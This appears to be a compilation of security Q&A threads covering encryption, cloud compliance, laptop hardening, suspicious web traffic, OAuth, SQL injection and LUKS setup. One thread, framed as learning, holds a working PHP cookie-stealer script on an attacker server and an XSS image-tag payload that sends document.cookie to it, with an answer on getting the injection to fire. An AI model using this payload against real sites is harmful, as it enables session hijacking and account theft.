Proving running code on a website is unchanged Can it be proved to the user that the running code behind a website with security related code is the same as published?

I'm currently looking at a few new project ideas and one involves secure communication. I would like to make it open source in order to be review-able by the user and more importantly security experts. This might hopefully be successful to prove the code provided is secure, but how can the user be assured that this reviewed code is really running on the website?

I have thought of providing a kind of hash of the files doing the security related work and printing it out, but that hash could easily be printed static, thus providing no real certainty. Doing it with apps that can be compiled from the published source and compared is easy, but isn't applicable on websites. A certificate might only prove who is operating the site, but they wouldn't know if the operator is to be trusted.

Can the user in any kind be assured without doing some leap of faith?

In all reality no one can really prove that a system is totally secure from all attacks.  Provable security can never really be perfect because new attacks are developed regularly.  Security is a new field and we don't really know all of the ways that software can be abused. There are projects that are open source for the purpose of security and there are two major reasons to do this.

Some companies "crowed source"  their security and offer a bug bounty program.  Mozilla is one of the most successful with this model and all of their applications and infrastructure is open source.  I have found four critical vulnerabilities in their infrastructure,  and I collected $3,000 a piece for these findings.  I am happy that I was able make Mozilla safer.  Collecting these bounties where not easy,  bug bounty programs make hunting for bugs into a fierce competition.

There are also projects that make parts of their application open source such that their users can interdependently verify that the software is in fact secure.  Good examples of this is Whisper Systems (now apart of twitter) and their mobile product RedPhone.  Parts of HushMail are also Open Source for this reason.


What encryption (if any) is used on electronic credit cards? Out of curiosity: how do electronic Visa/Master Card debit/credit cards with microchips authenticate a transaction?

Are they stupid storage for a key which is simply read by a reader or do they somehow sign the requested transaction details using an internal key which is never revealed? (The latter is my guess how it should be done but I'm not sure if you can expect the chip to have enough computing power)

EMV cards and smart cards in general do indeed have an embedded private key and enough horsepower to do the crypto math needed to sign a transaction without revealing the secret.

https://secure.wikimedia.org/wikipedia/en/wiki/EMV
https://secure.wikimedia.org/wikipedia/en/wiki/Smart_card


What are security issues which are specific to cloud computing? Moving almost everything to the Cloud gradually becomes a mainstream.

Are there any security issues, which appeared together with this trend?

What everybody should check out, from the security point of view, before moving its webapps and databases to the Amazon Cloud, Azure, etc.?

There's an infinite amount of security issues with the cloud. To see a nasty laundry list, check out ENISA's documents.


Can PHI be HIPAA compliant on a cloud? I have read conflicting information on whether PHI can be stored and delivered on a cloud in a HIPAA compliant manner. I hear many people saying you cannot share infrastructure and be HIPAA compliant.

What needs to be taken into consideration when storing PHI on a cloud?

Mostly agree with Lynn.

And to add more - the public clouds are general purpose clouds and hence the privacy is not fully implemented. That's the core of HIPAA requirement. But if there are clouds that are equivalent to HealthVault or purely private clouds, its very much possible.

My point is - the current public clouds aren't designed with healthcare in mind. But a general purpose connected applications. And hence they aren't fully HIPAA compliant. Also people who manage the clouds needs to have HIPAA or CITI or similar certifications in order to be called as qualified personnel to manage the cloud! I strongly doubt if there are any public cloud offerings that have these basic criteria satisfied!

Of course this is my personal observation after working in this industry for long and no obligations.


Is there an easy way to generate all variations around a password? I did something quite stupid while renewing my Keepass master password: a typo.
I quickly checked what I did type before validating but I obviously overlooked something because it simply doesn't work anymore.
It is not a file corruption problem (my other .kbdx files are fine, so are all the key files) and I've started testing some possibles typos with no luck so far.
Since I don't have neither the computing power nor the 50 millions year ahead of me (as explained here), I've looked for a way to methodically generate a dictionary file with all variations around the original password in order to brute-force my .kdbx file. I just found this goes way above my scripting capabilities :(
What I do know is:

It looked good so I'm quite sure there is no more than one typo,
the password is 15 chars long (plus or minus the typo),
the central portion of the password is 5 digits and I'm sure this part is OK, the problem must be in the 5 chars before or after.

What I don't is there to go from here... So if somebody as already done something similar or can provide any help, I would be quite grateful (and so will be the community of distracted people!)
(if you ask: I'm not entirely stupid: I do backups so I've only lost 2 weeks of new passwords... I just don't like it then computers win!)

Best regards.

I had a similar issue a while ago and I considered doing a bruteforce attack on the system, I got all the way to creating my own file to base the attack from and realised that I'd just have to end up typing out possibly hundreds of different variations of the same password, you might as well just manually type them out as it would save time...

Or just accept the loss and reset like I did.


Securing a laptop against attacks (article) I came across this article when looking for ways of hardening my laptop, and this guide seemed extremely thorough. It is perhaps overly paranoid, but it will be good to have a guide I can trust should I come in a position, most likely work related, that requires this level of protection.

My questions are: are there any holes in the above guide that the author has failed to mention that would allow an attacker access? And to what lengths would a would be attacker have to go to gain access, without resorting to beating you with a spanner?

Some commentary:
Defending from common thieves

Rather than wiping Windows 7, I've left it as a honeypot operating
system. If a thief steals the laptop, when they turn it on, it will
automatically boot up into Windows, without so much as even being
prompted for a password. I installed a free application called Prey
which will allow me to grab loads of information from the laptop, such
as its location, and pictures from the built in webcam.

Unlikely. Most laptop thieves have been in prison at one point in their lives, so they've learnt a thing or two from their fellow inmates. They are wise to this trick. When they steal electrical items that can communicate, they take batteries out (and SIM cards if applicable). Most mobile phone thieves carry opening tools for iPhones, so they can quickly remove the SIM. They'll then sell the laptop onto a fence (someone who sells on stolen goods) who will take out the drive and wipe it, and install a new OS on it. Usually a pirated copy of Windows.
Defending from experts

I consider full disk encryption to be essential if you want to secure your laptop. However, there are several attacks against machines that use full disk encryption; I decided to address as many of them as possible.

Agreed that full-disk crypto is good! Let's move on...
Evil maid attacks

Even if you have a machine which uses full disk encryption, the boot partition and boot loader need to be stored somewhere unencrypted. Typically, people store it on the hard drive along with the encrypted partitions. The problem with doing this is, whenever you go to your machine, you don't know if somebody has tampered with the unencrypted data to install a software keylogger to capture your password. To get around this, I installed my boot partition and boot loader on a Corsair Survivor USB stick. I wanted a USB stick which would never leave my side.

This is a real threat, albeit rather unlikely. However, the USB stick booter does not protect you. It makes the bad guy's job more difficult, but if they're going to the trouble of tampering with hardware, they could just as easily install a hardware keylogger under your keyboard. Lock the laptop in a case when it's out of your sight. I always do this in hotels, because it helps prevent theft too. I also suggest investing in a decent Kensington lock, which can be attached around pipes and various other strong fixtures.

On a typical system with disk encryption, the encryption key is stored in RAM. This would be fine, if it weren't for the fact that there are several ways for an attacker with physical access, to read the contents of the RAM on a machine which is running, or which has been running recently. You might think that your machine's RAM is wiped as soon as it loses power, but that is not the case. It can take several minutes for the RAM to completely clear after losing power. Cooling the RAM with spray from an aircan, can extend that time period.

This is misleading. At room temperature, modern DDR3 loses integrity below the 50% confidence mark at around 3-15 seconds after power-down. DDR2 tends to do so at around 20-30 seconds. This makes a cold-boot attack on DRAM modules very unlikely, even if you almost immediately leave the room and someone jumps in and drops your laptop into a convenient vat of liquid nitrogen. It's just not going to happen. However, you should avoid sleep mode, which puts the system in a low-power state and continues to refresh the RAM. In such a case, an attacker could freeze the DRAM modules on-site and take them to a lab for analysis. Hibernate isn't a problem if you're using full-disk encryption - the machine state is stored on disk and the system is completely shut down.

You could password protect the BIOS and disable booting from anything other than the hard drive, but that still doesn't protect you.

It won't protect against coldboot attacks, but it protects against a lot of other stuff. You'll also find that a lot of BIOS implementations offer a boot password too, which will make things more difficult for an attacker or thief, since the machine won't even POST without the password.

The second defence I used is far more interesting. I use something called TRESOR. TRESOR is an implementation of AES as a cipher kernel module which stores the keys in the CPU debug registers, and which handles all of the crypto operations directly on the CPU, in a way which prevents the key from ever entering RAM.

This only prevents your crypto keys from being stolen. The RAM will still contain all sorts of other important data, such as file system cache. It'll also contain your LSA keys, LSA vault and in-memory SAM (or the equivalent structures in Linux) which can be used to recover account password hashes. If these are cracked, it might give an attacker an idea of what your disk encryption password is. As such, I highly recommend using a unique password for your disk encryption.
Attacks via firewire

If a machine has a firewire port, or a card slot which would allow an attacker to insert a firewire card, then there's something else you need to address. It is possible to read the contents of RAM via a firewire port.

Yep, and the same is possible via cardbus. If you're paranoid, you'll need to physically disable these interfaces.

So instead, I built firewire as a set of kernel modules, and prevent the modules from loading under normal circumstances using /etc/modprobe.d/blacklist.

Won't work. The OS can't interact with the device if you disable support or remove drivers, but a firewire device or cardbus module can still function in any way it likes at the hardware level - it just can't interact directly with your OS software. DMA requests and interrupts can still be sent by the device, allowing it to read memory. This allows the attacker to collect it later, or have it transmitted over RF.
Preparing for disk encryption

you should completely wipe a new hard drive with random data before setting up disk encryption. This is to make it impossible for somebody to be able to detect which parts of the drive have had encrypted data written to them. Doing this, is as simple as creating a partition on the space you want to fill with random data, and then using the "dd" command to copy data directly to that partition device in /dev/ from /dev/urandom. This took a few hours to run on my system.

This is a silly way to do it. TrueCrypt automatically wipes the entire disk with random data as part of the volume creation wizard. It's also faster than direct reads from /dev/urandom, because TC does its own strong AES-based random data generation on top of what the system provides. Don't bother doing it manually with dd - you might get it wrong.

I complicated this procedure slightly by using something I purchased called an EntropyKey. The EntropyKey provides a much larger source of "real" random data, as opposed to the much more limited "pseudo" random data that is generated by the operating system.

This is maybe a good idea. I don't see any real technical analysis of this device, so I can't really say whether it's good or not. Passing various statistical checks doesn't really mean a whole lot. It uses avalanche noise from the P-N junction of a transistor, which is a known good source of random noise, since it is created by the probabilistic effect of quantum tunnelling. However, the noise isn't without bias. Due to various electrical properties of a circuit, such as inductance and capacitance, you'll see small biases towards particular waveforms that "resonate" with various power planes and loops within the board's copper pathways. This bias can be reduced with a software filter called von Neumann whitening, which involves translating bit pairs from 01 to 0, 10 to 1, and discarding 11 and 00 bit pairs. This reduces the output speed of the generator by a factor of at least 1/4 (for an idea random source), but removes bias. I can't tell if this is being done within the EntropyKey.
More on disk encryption

When I initially did the installation, I chose to protect the full disk encryption key with a passphrase. It is also possible to protect it with a keyfile. The advantage of using a keyfile is that you can store it on an external device. An attacker can't just observe you entering the password, they also need to get hold of the keyfile. It's also much more difficult to brute force.

This is fine as long as you have both the keyfile and a password. It essentially provides two-factor authentication.

If you need to use swap. Make sure it is encrypted too. The easiest way to make sure everything is encrypted is to create an encrypted device, and then use LVM on top of that so that all of your partitions and swap end up on top of the same encrypted device.

Wise words. On Windows you should configure your virtual memory (swap) to be placed only on disks that are part of your full-disk encryption regime.

The laptop I purchased has something called a Trusted Platform Module. This TPM can handle a number of crypto operations it's self. It also provides a random number generator similar to the EntropyKey. Apparently a lot of modern laptops contain one of these.

I'd avoid this, due to past problems with TPMs and government backdoors. Whilst I can't cite any concrete evidence, it makes me nervous enough to avoid it.

I use Firefox as my web browser. Surfing the web scares me; the browser strikes me as the most likely way in for a remote attacker. And yet, most people run the browser under the same user id as the rest of their programs. So if the browser is compromised, all of the files that your user can access are also instantly compromised. To try and minimise any damage if this happens, I decided to run Firefox in its own account.

Again, smart. It'd be even smarter to sandbox it entirely, as well as run it under its own user. This is more difficult for Windows, so I'd say your best bet is to have your user account set as a limited user for most tasks (with UAC switched on!) and only switch to an admin account when you actually need to. Something like Sandboxie can also help.

All of my incoming email is encrypted using my public GPG key. I detailed how I do this here. This means that I need to store my private GPG keys on my laptop. They're protected by a passphrase, but is this enough? If my account was compromised, an attacker could key log my passphrase and then steal my keys. Luckily, when I purchased my laptop, I ticked the "Smartcard Reader" option. I then purchased an OpenPGP Smartcard. My encryption and signing subkeys have been transferred to the smartcard, and the master key has been removed from my laptop.

Useful, but this fails to take into account the "evil maid" attack mentioned earlier. It's possible to sniff the card's communications, or tamper with it so that it stores the keys for later retrieval.

I use the following Firefox addons to minimise the chance of MITM attacks against my browsing, and to prevent most XSS/CSRF attacks: Certificate Patrol, Cipherfox, DNSSEC Validator, HTTPS Everywhere, HTTPS Finder, NoScript, Perspectives and Request Policy.

Good list! I'd also include Collusion, AdBlock Plus and Greasemonkey. Collusion catches various tracking cookies and allows you to block them. AdBlock Plus is useful for killing off ads, which can be a source of various nasties from tracker cookies to malware. Greasemonkey is a user-script addon which lets you inject your own JavaScript into selected sites or pages. It can be useful for disabling various functionality on particular pages, or adding your own functionality. For example, I have a script that looks for various URL shortener links and replaces their target with a JavaScript popup box, allowing me to decide what to do with the link.

I installed an application called blueproximity. It detects when my phone is in range, via bluetooth. If my phone moves out of range, the screen automatically locks. I've no doubt that this can be prevented via spoofing my phone, but it adds another layer of security.

A cool gimmick, but easily spoofed. Bluetooth security is crap.

All in all, a pretty neat article. It has its flaws, but it also has a lot of sound advice. If you follow even half of it you should be secure against all but the most determined attackers. At the end of the day, it's a balancing act between the risks you care about and the time/money you want to put into it.


Does versioning an encrypted file make it less secure? Suppose I use KeePassX as a password manager, and I store the kdb file in Sparkleshare folder as a way for backing up and syncing with multiple devices.

The kdb file in itself would be encrypted, but if someone stole the git repo, they technically would have many versions of the same file with minor variations. Would that in any way reduce the security of the file?

If the encryption algorithm in question is weak against a Ciphertext-only attack, having multiple variants of an encrypted files might allow an attacker to decipher the ciphertext.

All strong encryption algorithms including AES isn't susceptible to such attacks. You should be fine.


Getting numerous HEAD requests by Java user agents to resources that require authentication to view within a web application. Should I block them? I have recently started using Cloudflare's firewall in front of a web application. This app has a limited user base of selected applicants and they must log in to view anything. There is no public registration form and nothing within the portal can be accessed without an account.

Since moving the DNS to Cloudflare I can see we are receiving numerous daily HEAD requests to paths that are only accessible within the portal.

These requests come from one of two groups of IP addresses from the United States (we are not a US-based company; our own hosting is based in AWS Ireland region and we're pretty sure at least 99% of our users have never been US-based):

Java User Agents

User agent is Java/1.8.0_171 or some other minor update version.
The ASN is listed as Digital Ocean.
The IP addresses all seem to have had similar behaviour reported previously, almost all against Wordpress sites. Note that we're not using Wordpress here.

Empty User Agent

No user agent string.
The ASN is listed as Amazon Web Services.
The IP addresses have very little reported activity and do not seem at all connected to the Java requests.

Other Notes

The resources being requested are dynamic URLs containing what are essentially order numbers. We generate new orders every day, and they are visible to everyone using the portal.
I was unable to find any of the URLs indexed by Google. They don't seem to be publicly available anywhere. There is only one publicly accessible page of the site, which is indexed.
We have potentially identified one user who seems to have viewed all the pages that are showing up in the firewall logs (we know this because he shows up in our custom analytics for the web app itself). We have a working relationship with our users and we're almost certain he's not based in the US.

I am aware that a HEAD request in itself is nothing malicious and that browsers sometimes make HEAD requests. Does the Java user agent, or lack of a user agent in some cases, make this activity suspicious? I already block empty user agents and Java user agents through the firewall, although I think Cloudflare by default blocks Java as part of its browser integrity checks.

Questions

Is there any reason why these might be legitimate requests that I shouldn't block? The fact it's a HEAD request from a Java user agent suggests no, right?
One idea we had is that one of the users is sharing links to these internal URLs via some outside channel, to outsource work or something. Is it possible some kind of scraper or something has picked up these links and is spamming them now? As I say, I was unable to find them publicly indexed.
Is it possible the user we think is connected has some sort of malware on their machine which is picking up their browser activity and then making those requests?
Could the user have some sort of software that is completely innocent which would make Java based HEAD requests like this, based on their web browsing activity?

Any advice as to how I should continue this investigation? Or other thoughts about what these requests are?

You should always expect that there are numerous attackers (bots, humans), that will try to find weaknesses in your application.

You should always consider the clients as not trusted. Some of your users may have some malware on their devices, that generates these requests (you said you don't know exactly if some users are in the US) or malware that steals information about user requests, sends to their backend and then generates requests from another IPs.

Some users can do that intentionally. They can have a good technical background and would try to find weaknesses in your system. It would be understandable, if they send such requests not from the same IP that they use for they normal work with your application.

In the public Internet anyone can send any requests on any of your ports. If you protected the important resources with authentication, why should you care who is sending what requests?

HEAD method is often used to check authentication or authorization. How good do you know your application? If you are working on a big application, may be you don't know that HEAD is really used in your application. Check that.

May be your management has ordered penetration testing and you observe one of its effects.

Anyone can set any headers. You should not trust user agent string.

If you prohibit HEAD requests, they can send GET requests. If you prohibit requests based on the agent string, they will use a copy of agent string from real user requests from Chrome of FireFox, and you will not be able to distinguish such requests from usual requests. If you prohibit one IP range or network, they will do that from another network, e.g. from AWS Ireland.

TLDR: I don't see any reason to block the traffic unless it generates high costs on your side (CPU, RAM) or unless it exhausts your resources and you see that it can lead to the denial of service.


Is using OAuth for login less or more secure than maintaining your own passwords? Pros:

The complexity in managing passwords is maintained by a company with stronger security policy. Let's assume they secure passwords properly.
The user doesn't have to maintain yet another vulnerable, duplicated passwords.

Cons:

The OAuth client company now holds onto real bearer tokens. This seems like a step backwards from only having to hold onto irrecoverable password hashes. I'm not sure if these bearer tokens can do much though.

Is there a crucial reason one is clearly more secure than the other? Is there an accepted preference within the security community? It's possible I'm missing OAuth facts that tip this.

The idea behind OAuth is that as a service you do not need to know the credentials (yet again) in order to authenticate and personalize the service.

You are correct in that the bearer tokens (part of OAuth 2 in fact) are just as sensitive as username/password. but so is a hash of it.

The idea is that with OAuth 2 you authenticate with the OAuth 2 Server-provider, the server than hands you (or in fact the application your authenticating with) a set of tokens to use.

Bearer token, short lived token to directly use for authenticated requests.
Refresh token, Long lived token to get a new Bearer token.

The OAuth application uses these together with its own preregistered secrets (Application ID and Application Key) and a TLS connection (https) to keep things secure and secret.

The end result is a scheme that is at least as secure as the login scheme of the OAuth service provider,
without having to maintain a new set of credentials and without having to disclose the credentials to the possible 3rd party that is the OAuth client service.
As a bonus there is no requirement for the client to use TLS and still have a secure login
(although I highly recommend TLS for any web-application myself).

And when 'grants' are used it is possible to limit what information the tokens can be used for,
like facebook, google and github show users that authenticate with oauth.

The following image taken from Wikipedia illustrates how oauth works differently than username/password schemes and why it can be advantageous.


Cookie stealing with Redirection I am trying to steal cookies for learning purpose and for that I have setup an attacker server where my malicious website is running stealing cookies of users and it works when I visit like

http://192.168.8.102/cookiestealer.php?c=document.cookie

It records whatever c parameter holds, in above case document.cookie string.

The simple cookie stealer has following lines of code in it

<?php
header('Location:https://google.com');
$cookies = $_GET["c"];
$file = fopen('log.txt', 'a');
fwrite($file, $cookies . "\n\n");
?>

The problem is when I use same link in img tag src attribute, it doesn't log anything in log.txt file.
I am using following post on the vulnerable site;

<img src="http://192.168.8.102/cookiestealer.php?c="+document.cookie onerror="alert('Your cookie has been served')" />

But it does not log anything on server. However the file does change as the editor prompts me to reload but there is nothing written over it. There is no HTTPOnly=true for any cookie on this site.

Any suggestions?
THanks.

You are using a javascript routine (document.cookie) in HTML without breaking out into the javascript context.  It's helpful in these cases, to look at the source of the page that's generated - that often makes it easier to understand.

In order to leverage your cookie stealer, you would need an XSS on the victim's site.  In the most common case, that allows you to break out of the HTML tag, and start writing javascript (i.e. ">

As a side note, you can always just check your access logs for requests coming into your cookie stealer - no need for a separate php program to record these.


VB.NET stored procedure implementation? While reviewing code for a vb.net application I have come across the following implementation of stored procedures using ExecuteDataSet

 Result = DBInstance.ExecuteDataSet(Name, paramArrayList.ToArray)

Here, 'Name' is the name of the stored procedure and the input parameters from the client are passed in an array. 'DBInstance' is obtained from DatabaseProviderFactory which comes from Microsoft.Practices.EnterpriseLibrary.Data. The stored procedure uses the parameters in the query as shown below:

CREATE procedure sp_name
(
    @para1      VARCHAR(25),
    @para2      VARCHAR(25)

)
as
SELECT x,y FROM mytable
WHERE p = @para1 AND q = @para2

go

The parameters are passed to the function ExecuteDataSet() unvalidated.

Does the method ExecuteDataSet perform any kind of validation on the data passed to it in order to prevent SQLi? I am unable to find any examples on the Internet which use the same method to implement Stored Procedures.

I have had a look at the secure implementation of stored procedures in VB which clearly uses parameterized query. My question is about the method ExecuteDataSet being safe/unsafe for passing parameters to stored procedures.

No, no additional validation is needed to prevent SQL injection.  This pattern is safe.   When you're dealing with a stored procedure that simply uses the parameter values as predicate values in the SQL statement (WHERE p = @p)  SQL Server knows that the value of the parameter is data, not an executable statement.   Executing the contents of the parameter is not possible.

The only time you really need to be concerned about the value of parameter that you're passing into a stored procedure is when you're explicitly executing it inside the proc, using EXEC, EXECUTE, or sp_executesql.


LTE networks and MITM 2G would leave you vulnerable to spoofed base stations. 3G tried to somewhat fix that using mutual authentication. Now, I tried to check how LTE handles this but I couldn’t find any usefull information.

Are both client and network being authenticated in the current LTE standard, or can someone with a fake (LTE) base-station position themselves between the device and the network?

Also – in the likely case that LTE also relies on mutual authentication – are there any papers you can point me to that handle related security analyses? Those would come handy as I am trying to compare the individual, security-related characteristics and according changes/enhancements from 2G up to LTE.

Yes, LTE uses bi-directional authentication.

From LTE Quick Reference:


sendgrid delivered malware - what's the abuse reporting procedure Sendgrid delivered me malware* - where should I report that?

There was no contact info in the headers and the only abuse contact I could find in whois was domain registrar Godaddy.

Last time I dealt with Godaddy they were pretty gung-ho against spam and I really don't want to face sendgrids lawyers because I work for a different, smaller, email delivery company.

I have reported it to the claimed sender's scam channel.

(*) virustotal.com gives 10 positive results for "adwind" malware

Try and contact the suspect/victim first

It's possible that the entity you got this email from is a victim instead of an offender. It's polite to contact them first and report the issue. If you can't contact them (or they don't reply nor care), you can escalate it to SendGrid, and after that possibly even to GoDaddy.

For authenticated domain SendGrid provides a Forwarding abuse feature:

  Forwarding abuse

  The email address specified in the Forward Spam mail setting may also
  be used to receive emails sent to abuse@ and postmaster@ role
  addresses if you have authenticated your domain.

  For example, if you create a valid authenticated domain with a custom
  return path of sub and a root domain example and have turned on
  Forward Spam, any emails sent to abuse@sub.example.com or
  postmaster@sub.example.com will be forwarded to the email address
  you entered in the Forward Spam mail setting.

If the company is following the RFC 2142, 4, they could also have an abuse@example.com and/or security@example.com address available.
...or possibly a more "modern" /.well-known/security.txt file in place.

The abuse email information was available on SendGrid's web site.

Go to https://sendgrid.com/
Click on Contact Us

  Report abuse

  SendGrid is an email provider, but we don’t send messages directly to
  end-users. Please report email abuse to us, and we will be in touch.

  Report spam

Click on Report spam.

  If you discover spam that was sent by a SendGrid customer, please
  report it to our team by sending it to abuse@sendgrid.com.

  Our agents will be able to process your spam sample more quickly if
  you provide us with the full email headers of the offending message.

The contact information on WHOIS is behind a privacy feature:

  Registrant Email: Select Contact Domain Holder link at
  https://www.godaddy.com/whois/results.aspx?domain=SENDGRID.COM

From there I can find another similar abuse email address, but won't paste it here for the same reason. It is their own i.e. not the one specified as Registrar Abuse Contact Email.


Should traffic between two hosts in the same data center be encrypted? We have two hosts, theoretically in the same data center. The two machines are hosted at Online.net. We're having a bit of a debate: should the traffic between the two hosts be encrypted.

The traffic we need to exchange are Redis queries. The data that will be exchange is Twitter and Facebook user IDs, a code to indicate a job to do, and a market ID, which is itself a UUID. A typical query and response would be:

> hgetall Twitter:12345
1) 1) "c4a9c7f0-78d1-0132-b14c-70921c10876c"
   2) "F"

The two implementations we're thinking of:

Use an SSH tunnel with port forwarding to hide the Redis server from the public Internet. On the machine hosting the Redis server, create a separate user with a single aurthorized_keys, with proper securities to not allow running arbitrary programs;
Simply use the firewall to limit traffic to Redis to the single IP address we need, nothing more.

We're not sure which would be "more secure" (or more appropriately, less risky). Adding users and configuring SSH introduces complexity, while adding a firewall rule is much simpler. On the other hand, if an attacker reads in-flight packets, what useful data can they collect?

What I want to protect against is after having gained access to the client machine, an attacker could gain a foothold into the Redis server machine, which hosts many more services.

If the machines were on your own network (home, your company's datacenter, etc), simple IP-based restriction and/or putting the Redis-related machines on a separate VLAN should be enough.

However, in case of a hosting provider, I recommend considering their networks as hostile and equivalent to the open Internet, in which case you should create your own internal network using IPSec between your machines, and passing whatever unencrypted traffic you want over that.

It won't protect against the hosting company going rogue against you, but at the very least whatever attacker would have to do much more (memory analysis which requires hypervisor or physical access) to get the IPSec keys and make sense of your data than passive packet capturing which is really easy.


How are computers identified across networks? IP addresses are assigned to computers when they connect to the internet and change depending on your location.  However, I read that your computer also has an address that doesn't change.  So, when you connect to the internet, your IP address is assigned by the network and your address of your computer is shown to the network as well?  Is that how the government finds out or the network you are using can determine what sites you searched or what you downloaded?

What I was thinking was if your computer did not have an address, how could they locate your computer once you left the network and moved somewhere else?  I'm sure that they are able to now and was interested in understanding how the government or someone can find a user's location when they connect to the internet.

You can be detected even using different network devices. If you connect from home using the Ethernet card, and on a Starbucks using the Wifi card, it's trivial to detect you.

Now how:

Cookies: The cookies on every site you access are independent of the IP address of your computer. So if you accessed Google from home, and accessed again from Starbucks, Google knows for sure that it's you.
Browser Fingerprinting: Your browser is almost unique. The sum of browser version, OS version, plugins installed and updated (or not) is almost unique, and even if you delete all the cookies, you can be more or less identified.
Canvas Fingerprinting: For the same reasons of the browser fingerprinting, the canvas object on HTML5 have a few differences based on a lot of variables, so it's possible to detect you, even if you use a different network card, delete all cookies and use a VPN.

Don't worry about MAC address, it's an address that never leaves the local network and can be easily forged, faked or cloned. But your behaviour cannot be faked, as you type and mistype the same words, access the same sites and so.


Why are cookies sent with HTML page's cross domain requests but not with JS's XHR? When we write a HTML page with form tag and an action attribute and a submit button. As soon as we click on submit a request is sent (with cookies) to the URL which was the value of action attribute.

But if we send cross domain request to the same domain with JS's XHR cookies won't be sent.

In both cases, requests are sent to another domain but still cookies are sent with the first case only why so?

Cookies can be send with XHR if withCredentials is set to true. Contrary to cross-origin form submit or the cross-origin include of resources the application has actually control if cookies are sent or not. Since it is more secure to not include cookies in cross-site requests this is the default and the application has to explicitly enable it if needed.


dm-crypt 2.0.3 + luks: salt auto-generated? what affects decryption speed? I am trying to encrypt one of my primary Linux partition (5GB) by following this example to encrypt.
I want to confirm some of my understandings:

Salt is automatically generated by cyrptsetup with luks?
--iter-time and --hash only affects the time to "open" the encrypted partition?  Such that it doesn't affect read latency after the encrypted partition is open.
What other parameters in cryptsetup...luksFormat can affect the decryption speed besides --cipher?  Basically, I want to increase the security without adding penalty to read I/O.

Another question is: What's the "volume key"?  The manpage states that --use-random and --use-urandom tell how to generate the "volume key".  How it is used?
update:
# cryptsetup benchmark
# Tests are approximate using memory only (no storage IO).
PBKDF2-sha1       292898 iterations per second for 256-bit key
PBKDF2-sha256     342224 iterations per second for 256-bit key
PBKDF2-sha512     239619 iterations per second for 256-bit key
PBKDF2-ripemd160  213472 iterations per second for 256-bit key
PBKDF2-whirlpool  260580 iterations per second for 256-bit key
argon2i       6 iterations, 1048576 memory, 4 parallel threads (CPUs) for 256-bit key (requested 2000 ms time)
argon2id      6 iterations, 1048576 memory, 4 parallel threads (CPUs) for 256-bit key (requested 2000 ms time)
#     Algorithm |       Key |      Encryption |      Decryption
        aes-cbc        128b       887.6 MiB/s      2616.0 MiB/s
    serpent-cbc        128b        92.4 MiB/s       560.2 MiB/s
    twofish-cbc        128b       173.1 MiB/s       164.0 MiB/s
        aes-cbc        256b       744.4 MiB/s      2671.6 MiB/s
    serpent-cbc        256b        93.0 MiB/s       560.2 MiB/s
    twofish-cbc        256b       173.1 MiB/s       164.0 MiB/s
        aes-xts        256b      1568.8 MiB/s      1568.1 MiB/s
    serpent-xts        256b       561.1 MiB/s       550.7 MiB/s
    twofish-xts        256b       334.1 MiB/s       163.0 MiB/s
        aes-xts        512b      1379.8 MiB/s      1377.8 MiB/s
    serpent-xts        512b       560.9 MiB/s       550.5 MiB/s
    twofish-xts        512b       333.9 MiB/s       163.0 MiB/s

First of all, your runtime encrypt-decrypt speed will be dependent on how fast your CPU/ core can handle AES, and whether it's implemented in software or on the hardware - the method by which the volume key is unlocked has almost no bearing on runtime operations.
I'll propose LUKS2 in mode aes-xts-plain64 (or aes-xts-plain depending on your kernel) which is AES-256, and a secondary 256-bit key for the 'tweak' that XTS mode uses to determine the IV from the on-disc block. (TODO REF.)
To unlock the volume key I propose Argon2id, ie. cryptsetup --pbkdf=argon2id, tuned as hard as your patience can tolerate.
Your 5GB volume doesn't introduce any problems - it's large enough for the standard key-slot area^ and small enough that you don't need to use aes-xts-plain64, however, you can use plain64 if your kernel supports it, but is limited to more recent kernels, from the manpage: XTS mode requires kernel 2.6.24 or later and plain64 requires kernel 2.6.33 or later.
You should leave the source of random bits as the default /dev/urandom unless you have a good reason to change it. I don't believe cryptsetup allows you to provide other files to source random bits, however, you can provide the master key file - this is the "volume key" that you ask about. Left alone, the new volume master key is created from random sources. If you do specify the volume key via cryptsetup --master-key-file then be sure it is high-entropy. A circumstance where this might be useful is when you wish to be able to (re)produce the volume key from another technique.
I propose the use of at least SHA2-256 as the digest hash. I use SHA2-384 as this is a truncated SHA2-512 hash, which is slightly more efficient on 64-bit architecture, among other reasons.
cryptsetup --type=luks2 --pbkdf=argon2id  --type=luks2 --pbkdf=argon2id --pbkdf-memory=1048576 --pbkdf-parallel=4 --pbkdf-force-iterations=8 --hash=sha384 luksFormat /dev/new_luks_partition1
Memory is in KiB, so 1 GiB, and the number of iterations are forced to be 8, rather than allowing the software to auto-tune. (If you want auto-tuning don't set --pbkdf-force-iterations.)
Also, be sure to add at least a second key-slot for recovery purposes (you can use the same password if you wish, as a new salt is created for each key slot, but keep the hardness tuning the same) - you can add up to eight of these by default. Each key slot basically holds an encrypted copy of the volume key. This is in addition to taking a header backup, described later.
cryptsetup --batch-mode --type=luks2 --pbkdf=argon2id --pbkdf-memory=1048576 --pbkdf-parallel=4 --pbkdf-force-iterations=8 --hash=sha384 --priority=ignore luksAddKey /dev/new_luks_partition1
Now that the volume is created and one or more additional key-slots are populated, take a back up of the volume header. Note this backup file is still encrypted.
cryptsetup luksHeaderBackup --header-backup-file=~/luks-202102 /dev/new_luks_partition1
diff -sq <(cryptsetup luksDump ~/luks-202102) <(cryptsetup luksDump /dev/new_luks_partition1)
To produce a plain-text copy of the volume key, use the following (you'll need to re-type your password):
cryptsetup luksDump --dump-master-key ~/luks-202102
Good discussion on the LUKS header (2019):
What does LUKS header contain?
More on aes-xts-plain vs aes-xts-plain64, viz. cryptsetup FAQ s5.15

First, "plain" and "plain64" are both not secure to use with CBC, see
previous FAQ item.
However there are modes, like XTS, that are secure with "plain" IV.  The
next limit is that "plain" is 64 bit, with the upper 32 bit set to zero.
This means that on volumes larger than 2TiB, the IV repeats, creating a
vulnerability that potentially leaks some data.  To avoid this, use
"plain64", which uses the full sector number up to 64 bit.  Note that
"plain64" requires a kernel 2.6.33 or more recent.  Also note that
"plain64" is backwards compatible for volume sizes of maximum size 2TiB,
but not for those > 2TiB.  Finally, "plain64" does not cause any
performance penalty compared to "plain".

More on GRUB:
There is support for LUKS2 in GRUB, however, I found I still had to use LUKS1 in the past when I was following this: "Ubuntu 20.04 with btrfs-luks full disk encryption including /boot and auto-APT snapshots with Timeshift" Mutschler 2020.
Something to note is that when using LUKS1 and GRUB, the time it takes PBKDF2 to run is much slower, for eg. I find that I can stomach a cryptsetup --type luks1 --pbkdf pbkdf2 --pbkdf-force-iterations 2000000 without GRUB, but only say --pbkdf-force-iterations 400000 if using GRUB.


